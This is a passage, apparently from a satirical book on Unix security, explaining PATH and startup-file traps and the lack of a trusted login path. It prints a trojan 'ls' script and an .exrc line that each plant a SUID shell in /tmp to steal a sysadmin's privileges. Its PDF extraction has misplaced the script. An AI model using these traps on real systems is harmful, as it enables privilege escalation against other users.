Holes in the Armor 249 The Problem with PATH Unix has to locate the executable image that corresponds to a given com- mand name. To find the executable, Unix consults the user’s PATH vari- able for a list of directories to search. For example, if your PATH environment is :/bin:/usr/bin:/etc:/usr/local/bin:, then, when you type snarf, Unix will automatically search through the /bin, /usr/bin, /etc, and / usr/local/bin directories, in that order, for a program snarf. So far, so good. However, PATH variables such as this are a common disaster: PATH=:.:/bin:/usr/bin:/usr/local/bin: Having “.”—the current directory—as the first element instructs Unix to search the current directory for commands before searching /bin. Doing so is an incredible convenience when developing new programs. It is also a powerful technique for cracking security by leaving traps for other users. Suppose you are a student at a nasty university that won’t let you have superuser privileges. Just create a file1 called ls in your home directory that contains: Now, go to your system administrator and tell him that you are having dif- ficulty finding a particular file in your home directory. If your system oper- ator is brain-dead, he will type the following two lines on his terminal: % cd your home directory % ls Now you’ve got him, and he doesn’t even know it. When he typed ls, the ls program run isn’t /bin/ls, but the specially created ls program in your home directory. This version of ls puts a SUID shell program in the /tmp direc- tory that inherits all of the administrator’s privileges when it runs. Although he’ll think you’re stupid, he’s the dummy. At your leisure you’ll 1Please, don’t try this yourself! #!/bin/sh Start a shell. /bin/cp /bin/sh /tmp/.sh1 Copy the shell program to /tmp. /etc/chmod 4755 /tmp/.sh1 Give it the privileges of the person invoking the ls command. /bin/rm \$0 Remove this script. exec /bin/ls \$1 \$2 \$3 \$ Run the real ls.

250 Security run the newly created /tmp/.sh1 to read, delete, or run any of his files with- out the formality of learning his password or logging in as him. If he’s got access to a SUID root shell program (usually called doit), so do you. Con- gratulations! The entire system is at your mercy. Startup traps When a complicated Unix program starts up, it reads configuration files from either the user’s home directory and/or the current directory to set ini- tial and default parameters that customize the program to the user’s specifi- cations. Unfortunately, start up files can be created and left by other users to do their bidding on your behalf. An extremely well-known startup trap preys upon vi, a simple, fast screen- oriented editor that’s preferred by many sysadmins. It’s too bad that vi can’t edit more than one file at a time, which is why sysadmins frequently start up vi from their current directory, rather than in their home directory. Therein lies the rub. At startup, vi searches for a file called .exrc, the vi startup file, in the cur- rent directory. Want to steal a few privs? Put a file called .exrc with the following contents into a directory: !(cp /bin/sh /tmp/.s$$ chmod 4755 /tmp/.s$$)& and then wait for an unsuspecting sysadmin to invoke vi from that direc- tory. When she does, she’ll see a flashing exclamation mark at the bottom of her screen for a brief instant, and you’ll have an SUID shell waiting for you in /tmp, just like the previous attack. Trusted Path and Trojan Horses Standard Unix provides no trusted path to the operating system. We’ll explain this concept with an example. Consider the standard Unix login procedure: login: jrandom password: type your “secret” password When you type your password, how do you know that you are typing to the honest-to-goodness Unix /bin/login program, and not some treacherous doppelganger? Such doppelgangers, called “trojan horses,” are widely available on cracker bulletin boards their sole purpose is to capture your username and password for later, presumably illegitimate, use.